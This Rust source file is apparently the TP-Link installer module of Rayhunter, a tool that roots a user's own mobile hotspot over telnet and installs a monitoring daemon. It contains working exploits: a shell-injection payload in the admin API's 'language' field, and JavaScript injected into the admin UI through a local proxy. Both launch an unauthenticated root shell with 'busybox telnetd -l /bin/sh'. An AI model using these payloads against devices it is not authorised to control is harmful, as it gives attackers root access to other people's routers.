use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;

use anyhow::{Context, Error};
use axum::{
    Router,
    body::{Body, to_bytes},
    extract::{Request, State},
    http::uri::Uri,
    response::{IntoResponse, Response},
    routing::any,
};
use bytes::{Bytes, BytesMut};
use hyper::StatusCode;
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
use serde::Deserialize;
use tokio::time::sleep;

use crate::InstallTpLink;
use crate::util::{telnet_send_command, telnet_send_file};

type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;

pub async fn main_tplink(
    InstallTpLink {
        skip_sdcard,
        admin_ip,
        sdcard_path,
    }: InstallTpLink,
) -> Result<(), Error> {
    let is_v3 = start_telnet(&admin_ip).await?;
    tplink_run_install(skip_sdcard, admin_ip, sdcard_path, is_v3).await
}

#[derive(Deserialize)]
struct V3RootResponse {
    result: u64,
}

pub async fn start_telnet(admin_ip: &str) -> Result<bool, Error> {
    let client = reqwest::Client::new();

    println!("Launching telnet on the device");

    for endpoint in [
        // TP-Link M7350 v3
        // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r
        // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132
        format!("http://{admin_ip}/cgi-bin/qcmap_web_cgi"),
        // TP-Link M7310 v1
        // (adaptation of M7350 exploit)
        format!("http://{admin_ip}/cgi-bin/web_cgi"),
    ] {
        let response = client.post(&endpoint)
            .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#)
            .send()
            .await?;

        if response.status() == 404 {
            continue;
        }

        let Ok(V3RootResponse { result }) = response.error_for_status()?.json().await else {
            // On TP-Link M7350 v9, the endpoint /cgi-bin/web_cgi returns 200 OK without launching telnet, and without a response body.
            continue;
        };

        if result != 0 {
            anyhow::bail!("Bad result code when trying to root device: {result}");
        }

        // resetting the language is important because otherwise the tplink's admin interface is
        // unusuable.
        let V3RootResponse { result } = client
            .post(&endpoint)
            .body(r#"{"module": "webServer", "action": 1, "language": "en"}"#)
            .send()
            .await?
            .error_for_status()?
            .json()
            .await?;

        if result != 0 {
            anyhow::bail!("Bad result code when trying to reset the language: {result}");
        }

        println!("Detected hardware revision v3");
        return Ok(true);
    }

    println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit");
    tplink_launch_telnet_v5(admin_ip).await?;

    Ok(false)
}

async fn tplink_run_install(
    skip_sdcard: bool,
    admin_ip: String,
    mut sdcard_path: String,
    is_v3: bool,
) -> Result<(), Error> {
    println!("Connecting via telnet to {admin_ip}");
    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

    if !skip_sdcard {
        if sdcard_path.is_empty() {
            if telnet_send_command(addr, "ls /media/card", "exit code 0")
                .await
                .is_ok()
            {
                // TP-Link hardware less than v9.0
                sdcard_path = "/media/card".to_owned();
            } else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
                .await
                .is_ok()
            {
                // TP-Link hardware v9.0
                sdcard_path = "/media/sdcard".to_owned();
            } else {
                anyhow::bail!(
                    "unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
                );
            }
        }

        println!("Mounting sdcard on {sdcard_path}");
        if telnet_send_command(
            addr,
            &format!("mount | grep -q {sdcard_path}"),
            "exit code 0",
        )
        .await
        .is_err()
        {
            telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
        } else {
            println!("sdcard already mounted");
        }
    }

    // there is too little space on the internal flash to store anything, but the initrd script
    // expects things to be at this location
    telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
    telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
    telnet_send_command(
        addr,
        &format!("ln -sf {sdcard_path} /data/rayhunter"),
        "exit code 0",
    )
    .await?;

    telnet_send_file(
        addr,
        &format!("{sdcard_path}/config.toml"),
        crate::CONFIG_TOML.as_bytes(),
    )
    .await?;

    let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_TPLINK"));

    telnet_send_file(
        addr,
        &format!("{sdcard_path}/rayhunter-daemon"),
        rayhunter_daemon_bin,
    )
    .await?;

    telnet_send_file(
        addr,
        "/etc/init.d/rayhunter_daemon",
        get_rayhunter_daemon(&sdcard_path).as_bytes(),
    )
    .await?;

    telnet_send_command(
        addr,
        &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
        "exit code 0",
    )
    .await?;
    telnet_send_command(
        addr,
        "chmod 755 /etc/init.d/rayhunter_daemon",
        "exit code 0",
    )
    .await?;

    // if the device is not v3, the JS-based root exploit already added rayhunter_daemon as a
    // startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
    // is unreliable on other hardware revisions too.
    if is_v3 {
        telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
    }

    println!(
        "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
    );

    telnet_send_command(addr, "reboot", "exit code 0").await?;

    Ok(())
}

#[derive(Clone)]
struct AppState {
    client: HttpProxyClient,
    admin_ip: String,
}

async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, StatusCode> {
    let path = req.uri().path();
    let path_query = req
        .uri()
        .path_and_query()
        .map(|v| v.as_str())
        .unwrap_or(path);

    let uri = format!("http://{}{}", state.admin_ip, path_query);

    // on version 5.2, this path is /settings.min.js
    // on other versions, this path is /js/settings.min.js
    let is_settings_js = path.ends_with("/settings.min.js");

    *req.uri_mut() = Uri::try_from(uri).unwrap();

    let mut response = state
        .client
        .request(req)
        .await
        .map_err(|_| StatusCode::BAD_REQUEST)?
        .into_response();

    if is_settings_js {
        let (parts, body) = response.into_parts();
        let data = to_bytes(body, usize::MAX)
            .await
            .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?;
        let mut data = BytesMut::from(data);
        // inject some javascript into the admin UI to get us a telnet shell.
        data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
            Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
            Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
            alert("Success! You can go back to the rayhunter installer.");
            window.clearInterval(window.rayhunterPoll);
        }, 1000);"#);
        response = Response::from_parts(parts, Body::from(Bytes::from(data)));
        response.headers_mut().remove("Content-Length");
    }

    Ok(response)
}

async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
    let client: HttpProxyClient =
        hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
            .build(HttpConnector::new());

    let app = Router::new()
        .route("/", any(handler))
        .route("/{*path}", any(handler))
        .with_state(AppState {
            client,
            admin_ip: admin_ip.to_owned(),
        });

    let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
        .await
        .unwrap();

    println!("Listening on http://{}", listener.local_addr().unwrap());
    println!("Please open above URL in your browser and log into the router to continue.");

    let handle = tokio::spawn(async move { axum::serve(listener, app).await });

    let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();

    while telnet_send_command(addr, "true", "exit code 0")
        .await
        .is_err()
    {
        sleep(Duration::from_millis(1000)).await;
    }

    handle.abort();

    Ok(())
}

fn get_rayhunter_daemon(sdcard_path: &str) -> String {
    // Even though TP-Link eventually auto-mounts the SD card, it sometimes does so too late. And
    // changing the order in which daemons are started up seems to not work reliably.
    //
    // This part of the daemon dynamically generated because we may have to eventually add logic
    // specific to a particular hardware revision here.
    crate::RAYHUNTER_DAEMON_INIT.replace(
        "#RAYHUNTER-PRESTART",
        &format!("mount /dev/mmcblk0p1 {sdcard_path} || true"),
    )
}

#[test]
fn test_get_rayhunter_daemon() {
    let s = get_rayhunter_daemon("/media/card");
    assert!(s.contains("mount /dev/mmcblk0p1 /media/card"));
}
